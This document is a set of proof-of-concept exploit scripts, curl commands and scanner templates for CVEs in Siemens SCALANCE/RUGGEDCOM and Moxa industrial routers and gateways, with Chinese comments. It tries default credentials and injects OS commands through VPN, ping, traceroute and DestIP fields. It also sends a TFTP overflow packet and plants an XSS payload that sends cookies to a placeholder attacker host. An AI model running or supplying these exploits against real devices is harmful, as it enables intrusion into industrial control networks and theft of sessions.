# 使用 guest 凭据登录并触发 Load Rollback 命令
# Step 1: 获取 Session Token
curl -k -c cookies.txt -X POST "https://TARGET/web/login" \
  -d "username=guest&password=guest"

# Step 2: 触发 do system 命令执行配置回滚
curl -k -b cookies.txt -X POST "https://TARGET/web/do" \
  -d "action=system&command=rollback&target=previous"

#!/usr/bin/env python3
"""CVE-2025-40569 PoC - Siemens SCALANCE/RUGGEDCOM Web界面授权绕过提权"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

DEFAULT_CREDS = [
    ("guest", "guest"),
    ("admin", "admin"),
    ("admin", ""),
    ("user", "user"),
]

def login(session, target, username, password):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        if r.status_code in (200, 302):
            return True
    except Exception:
        pass
    return False

def check_rollback_accessible(session, target):
    url = f"https://{target}/web/system/rollback"
    try:
        r = session.get(url, verify=False, timeout=10)
        if r.status_code == 200 and "rollback" in r.text.lower():
            return True
    except Exception:
        pass
    return False

def trigger_rollback(session, target):
    url = f"https://{target}/web/do"
    data = {"action": "system", "command": "rollback"}
    try:
        r = session.post(url, data=data, verify=False, timeout=10)
        return r.status_code == 200
    except Exception:
        return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    for username, password in DEFAULT_CREDS:
        if login(session, target, username, password):
            print(f"[+] 登录成功: {username}:{password}")
            if check_rollback_accessible(session, target):
                print(f"[!] Load Rollback 功能可访问 (guest 角色)")
                print(f"[!] CVE-2025-40569 确认存在")
                return True
            break

    print("[-] 无法通过默认凭据登录或 Rollback 功能不可访问")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2025-40569

info:
  name: Siemens SCALANCE/RUGGEDCOM Web界面授权绕过
  author: x7peeps
  severity: high
  description: Siemens SCALANCE/XR/XCM/XRM及RUGGEDCOM RST2428P Web管理界面存在授权绕过漏洞，guest角色用户可通过Load Rollback功能执行do system命令
  reference:
    - https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-01
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40569
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
    cvss-score: 7.1
    cve-id: CVE-2025-40569
    cwe-id: CWE-863
  tags: cve,cve2025,siemens,scalance,ruggedcom,auth-bypass,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/"
      - "{{BaseURL}}/web/system/rollback"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SCALANCE"
          - "RUGGEDCOM"
          - "rollback"
        condition: or
      - type: status
        status:
          - 200

# 通过 OpenVPN 配置接口注入命令
curl -k -X POST "https://TARGET/web/vpn/config" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "vpn_server=10.0.0.1&vpn_port=1194&script_security=2&up_script=/bin/sh -c 'id > /tmp/pwned'"

#!/usr/bin/env python3
"""CVE-2024-41976 PoC - Siemens RUGGEDCOM/SCALANCE OpenVPN配置注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def check_vpn_endpoint(session, target):
    url = f"https://{target}/web/vpn/config"
    try:
        r = session.get(url, verify=False, timeout=10)
        return r.status_code == 200
    except Exception:
        return False

def inject_vpn_config(session, target, cmd="id"):
    url = f"https://{target}/web/vpn/config"
    payload = {
        "vpn_server": "127.0.0.1",
        "vpn_port": "1194",
        "script_security": "2",
        "up_script": f"/bin/sh -c \'{cmd}\'"
    }
    try:
        r = session.post(url, data=payload, verify=False, timeout=10)
        if r.status_code == 200:
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    if not login(session, target):
        print("[-] 登录失败")
        return False
    print("[+] 登录成功")

    if not check_vpn_endpoint(session, target):
        print("[-] VPN 配置端点不可访问")
        return False
    print("[+] VPN 配置端点可访问")

    if inject_vpn_config(session, target):
        print("[!] CVE-2024-41976 漏洞确认 - OpenVPN 配置注入可行")
        return True

    print("[-] 配置注入未成功")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2024-41976

info:
  name: Siemens RUGGEDCOM/SCALANCE OpenVPN配置注入RCE
  author: x7peeps
  severity: high
  description: Siemens RUGGEDCOM及SCALANCE设备OpenVPN配置选项存在代码注入漏洞，认证攻击者可执行任意代码
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41976
  classification:
    cvss-score: 7.2
    cve-id: CVE-2024-41976
    cwe-id: CWE-94
  tags: cve,cve2024,siemens,ruggedcom,scalance,openvpn,code-injection,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/vpn/config"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "vpn"
          - "openvpn"
          - "config"
        condition: and
      - type: status
        status:
          - 200

# CVE-2022-46140: 下载加密的调试文件并尝试分析
curl -k -o debug_dump.zip "https://TARGET/web/debug/download"

# CVE-2022-46144: 发送畸形 TFTP blocksize 请求
echo -n $(python3 -c "import sys; sys.stdout.buffer.write(b'\x00\x01config\x00octet\x00blocksize\x00' + b'A'*512 + b'\x00')") | nc -u TARGET 69

#!/usr/bin/env python3
"""CVE-2022-46140/46142/46144 PoC - Siemens RUGGEDCOM/SCALANCE 加密与密码缺陷链"""
import requests
import socket
import struct
import sys
import zipfile
import io
import urllib3
urllib3.disable_warnings()

def check_debug_file(target):
    url = f"https://{target}/web/debug/download"
    try:
        r = requests.get(url, verify=False, timeout=15)
        if r.status_code == 200 and len(r.content) > 100:
            zf = zipfile.ZipFile(io.BytesIO(r.content))
            print(f"[+] 调试文件可下载，包含 {len(zf.namelist())} 个文件:")
            for name in zf.namelist():
                print(f"    - {name}")
            return True
    except zipfile.BadZipFile:
        print("[!] 调试文件使用加密或非标准格式")
        return True
    except Exception as e:
        print(f"[-] 调试文件下载失败: {e}")
    return False

def check_tftp_blocksize(target, port=69):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(5)
        tftp_rrq = b"\x00\x01config\x00octet\x00blocksize\x00"
        tftp_rrq += b"A" * 512 + b"\x00"
        sock.sendto(tftp_rrq, (target, port))
        try:
            resp, _ = sock.recvfrom(1024)
            if len(resp) > 0:
                opcode = struct.unpack(">H", resp[:2])[0]
                if opcode == 5:
                    print("[+] TFTP 端口开放，blocksize 参数被接受")
                    sock.close()
                    return True
        except socket.timeout:
            print("[!] TFTP 服务无响应（可能已崩溃 - 溢出触发）")
            sock.close()
            return True
        sock.close()
    except Exception as e:
        print(f"[-] TFTP 检测失败: {e}")
    return False

def exploit(target):
    results = []

    print(f"[*] 检测 CVE-2022-46140 - 弱加密调试文件...")
    r1 = check_debug_file(target)
    results.append(("CVE-2022-46140", r1))

    print(f"[*] 检测 CVE-2022-46144 - TFTP blocksize 验证...")
    r2 = check_tftp_blocksize(target)
    results.append(("CVE-2022-46144", r2))

    print("\n[*] === 检测结果 ===")
    for cve, found in results:
        status = "存在" if found else "未确认"
        print(f"    {cve}: {status}")

    return any(r for _, r in results)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2022-46140

info:
  name: Siemens RUGGEDCOM/SCALANCE 弱加密调试文件
  author: x7peeps
  severity: high
  description: Siemens RUGGEDCOM RM1224及SCALANCE M8xx/S6xx系列设备调试zip文件使用弱加密方案
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46140
  classification:
    cvss-score: 7.6
    cve-id: CVE-2022-46140
    cwe-id: CWE-327
  tags: cve,cve2022,siemens,ruggedcom,scalance,weak-crypto,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/web/debug/download"

    matchers:
      - type: status
        status:
          - 200

    extractors:
      - type: binary
        binary:
          - "504b0304"

# 检测 SCALANCE W700 设备是否暴露
curl -k -s -o /dev/null -w "%{http_code}" "https://TARGET/"

# 尝试访问未授权管理端点
curl -k "https://TARGET/scalance-w700/api/system/info"

#!/usr/bin/env python3
"""CVE-2022-45059 PoC - Siemens SCALANCE W700 WiFi 多漏洞检测"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

UNAUTH_ENDPOINTS = [
    "/scalance-w700/api/system/info",
    "/scalance-w700/api/config/wifi",
    "/scalance-w700/api/user/list",
    "/web/api/system/status",
    "/cgi-bin/luci",
]

def check_w700(target):
    session = requests.Session()
    session.verify = False
    found = False

    for endpoint in UNAUTH_ENDPOINTS:
        url = f"https://{target}{endpoint}"
        try:
            r = session.get(url, timeout=8)
            if r.status_code == 200 and len(r.text) > 50:
                print(f"[!] 未授权端点可访问: {endpoint} (HTTP {r.status_code})")
                found = True
        except Exception:
            continue

    return found

def exploit(target):
    print(f"[*] 检测 SCALANCE W700 设备...")
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=8)
        if "SCALANCE" in r.text or "W78" in r.text or "W700" in r.text:
            print(f"[+] 确认为 SCALANCE W700 设备")
        else:
            print("[-] 目标可能不是 SCALANCE W700 设备")
    except Exception:
        print("[-] 无法访问目标 Web 界面")
        return False

    print(f"[*] 扫描未授权端点...")
    return check_w700(target)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    print(f"\n[{'!' if result else '-'}] CVE-2022-45059 漏洞{'确认存在' if result else '未确认'}")
    sys.exit(0 if result else 1)

id: CVE-2022-45059

info:
  name: Siemens SCALANCE W700 多漏洞
  author: x7peeps
  severity: critical
  description: Siemens SCALANCE W700 IEEE 802.11ax设备存在多个高危漏洞，包括认证绕过和缓冲区溢出
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45059
    - https://cert-portal.siemens.com/productcert/pdf/ssa-698820.pdf
  classification:
    cvss-score: 9.1
    cve-id: CVE-2022-45059
  tags: cve,cve2022,siemens,scalance,wifi,multiple,ics,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/scalance-w700/api/system/info"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "SCALANCE"
          - "W78"
        condition: or
      - type: word
        words:
          - "system"
          - "info"
        condition: and

    extractors:
      - type: regex
        regex:
          - "(?i)scalance.*w7[0-9]+"

# 通过诊断功能注入命令（概念性验证）
# 利用 ping 诊断参数注入
curl -k "https://TARGET/cgi-bin/ping?host=127.0.0.1;id"

# 利用 traceroute 参数注入
curl -k "https://TARGET/cgi-bin/traceroute?target=127.0.0.1|whoami"

#!/usr/bin/env python3
"""CVE-2024-9140 PoC - Moxa蜂窝路由器/安全设备OS命令注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

INJECT_PARAMS = [
    ("/cgi-bin/ping", {"host": "127.0.0.1;id"}),
    ("/cgi-bin/traceroute", {"target": "127.0.0.1;id"}),
    ("/cgi-bin/dns_query", {"domain": "127.0.0.1;id"}),
    ("/api/diagnostic/ping", {"ip": "127.0.0.1;id"}),
    ("/api/system/exec", {"cmd": "id"}),
]

def check_device(target):
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=8)
        if r.status_code == 200:
            return True
    except Exception:
        pass
    return False

def test_injection(target, path, params):
    url = f"https://{target}{path}"
    try:
        r = requests.get(url, params=params, verify=False, timeout=10)
        body = r.text
        if "uid=" in body or "gid=" in body:
            return True
        if r.status_code == 500 and ("command" in body.lower() or "error" in body.lower()):
            print(f"[?] {path} 返回 500，可能存在漏洞但未回显")
            return True
    except Exception:
        pass
    return False

def exploit(target):
    print(f"[*] 检测 Moxa 设备...")
    if not check_device(target):
        print("[-] 无法访问目标 Web 界面")
        return False
    print("[+] Web 界面可访问")

    print(f"[*] 测试命令注入...")
    for path, params in INJECT_PARAMS:
        print(f"    测试: {path}")
        if test_injection(target, path, params):
            print(f"[!] CVE-2024-9140 确认! 命令注入存在于 {path}")
            print(f"[!] 已验证任意命令执行能力")
            return True

    print("[-] 未检测到命令注入")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2024-9140

info:
  name: Moxa蜂窝路由器/安全设备OS命令注入RCE
  author: x7peeps
  severity: critical
  description: Moxa蜂窝路由器、安全路由器和网络安全设备存在OS命令注入漏洞，远程未认证攻击者可执行任意代码
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9140
    - https://www.moxa.com/en/support/cybersecurity
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9140
    cwe-id: CWE-78
  tags: cve,cve2024,moxa,command-injection,rce,cellular-router,ot

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/cgi-bin/ping?host=127.0.0.1;id"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Moxa"
          - "moxa"
        condition: or
      - type: word
        words:
          - "uid="
          - "gid="
        condition: or

    extractors:
      - type: regex
        regex:
          - "uid=[0-9]+.*gid=[0-9]+"

# 设置包含 XSS payload 的 Login Message
curl -k -X POST "https://TARGET/web/login/message" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'message=<script>document.location="http://ATTACKER/steal?c="+document.cookie</script>'

#!/usr/bin/env python3
"""CVE-2025-0193 PoC - Moxa MGate 5121/5122/5123 存储型XSS"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

XSS_PAYLOAD = '<script>alert("CVE-2025-0193")</script>'

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def inject_xss(session, target):
    url = f"https://{target}/web/login/message"
    data = {"message": XSS_PAYLOAD}
    try:
        r = session.post(url, data=data, verify=False, timeout=10)
        if r.status_code in (200, 302):
            return True
    except Exception:
        pass
    return False

def verify_xss(session, target):
    url = f"https://{target}/web/login"
    try:
        r = session.get(url, verify=False, timeout=10)
        if XSS_PAYLOAD in r.text or "alert(" in r.text:
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] 尝试登录 MGate 设备...")
    if not login(session, target):
        print("[-] 登录失败（需要有效管理员认证）")
        return False
    print("[+] 登录成功")

    print(f"[*] 注入 XSS payload 到 Login Message...")
    if not inject_xss(session, target):
        print("[-] XSS 注入失败")
        return False
    print("[+] Payload 已注入")

    print(f"[*] 验证 XSS 存储...")
    if verify_xss(session, target):
        print("[!] CVE-2025-0193 确认! 存储型 XSS 漏洞存在")
        return True

    print("[!] Payload 已注入存储（需使用浏览器验证触发）")
    return True

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2025-0193

info:
  name: Moxa MGate 5121/5122/5123 存储型XSS
  author: x7peeps
  severity: medium
  description: Moxa MGate协议网关Login Message功能存在存储型跨站脚本漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0193
  classification:
    cvss-score: 5.2
    cve-id: CVE-2025-0193
    cwe-id: CWE-79
  tags: cve,cve2025,moxa,mgate,xss,stored-xss,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/web/login"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Moxa"
          - "MGate"
          - "5121"
          - "5122"
          - "5123"
        condition: or
      - type: status
        status:
          - 200

# 通过 DestIP 参数注入命令
curl -k -X POST "https://TARGET/web/config/forward" \
  -d "protocol=modbus_tcp&destip=127.0.0.1;id&destport=502"

#!/usr/bin/env python3
"""CVE-2024-2311 PoC - Moxa MGate 5105-MB-EIP 命令注入RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def login(session, target, username="admin", password="admin"):
    url = f"https://{target}/web/login"
    data = {"username": username, "password": password}
    try:
        r = session.post(url, data=data, verify=False, timeout=10,
                         allow_redirects=False)
        return r.status_code in (200, 302)
    except Exception:
        return False

def test_injection(session, target, cmd="id"):
    url = f"https://{target}/web/config/forward"
    payload = {
        "protocol": "modbus_tcp",
        "destip": f"127.0.0.1;{cmd}",
        "destport": "502"
    }
    try:
        r = session.post(url, data=payload, verify=False, timeout=10)
        body = r.text
        if "uid=" in body or "gid=" in body:
            return True
        if r.status_code == 500:
            print("[?] 返回 500，可能存在漏洞但命令无回显")
            return True
    except Exception:
        pass
    return False

def exploit(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] 尝试登录 MGate 5105-MB-EIP...")
    if not login(session, target):
        print("[-] 登录失败")
        return False
    print("[+] 登录成功")

    print(f"[*] 测试 DestIP 参数命令注入...")
    if test_injection(session, target):
        print("[!] CVE-2024-2311 确认! DestIP 参数存在命令注入")
        return True

    print("[-] 未检测到命令注入")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = exploit(sys.argv[1])
    sys.exit(0 if result else 1)

id: CVE-2024-2311

info:
  name: Moxa MGate 5105-MB-EIP 命令注入RCE
  author: x7peeps
  severity: high
  description: Moxa MGate 5105-MB-EIP协议网关DestIP参数存在OS命令注入漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2311
  classification:
    cve-id: CVE-2024-2311
    cwe-id: CWE-78
  tags: cve,cve2024,moxa,mgate,command-injection,rce,ics

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/web/login"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "MGate"
          - "5105"
          - "Moxa"
        condition: or
      - type: status
        status:
          - 200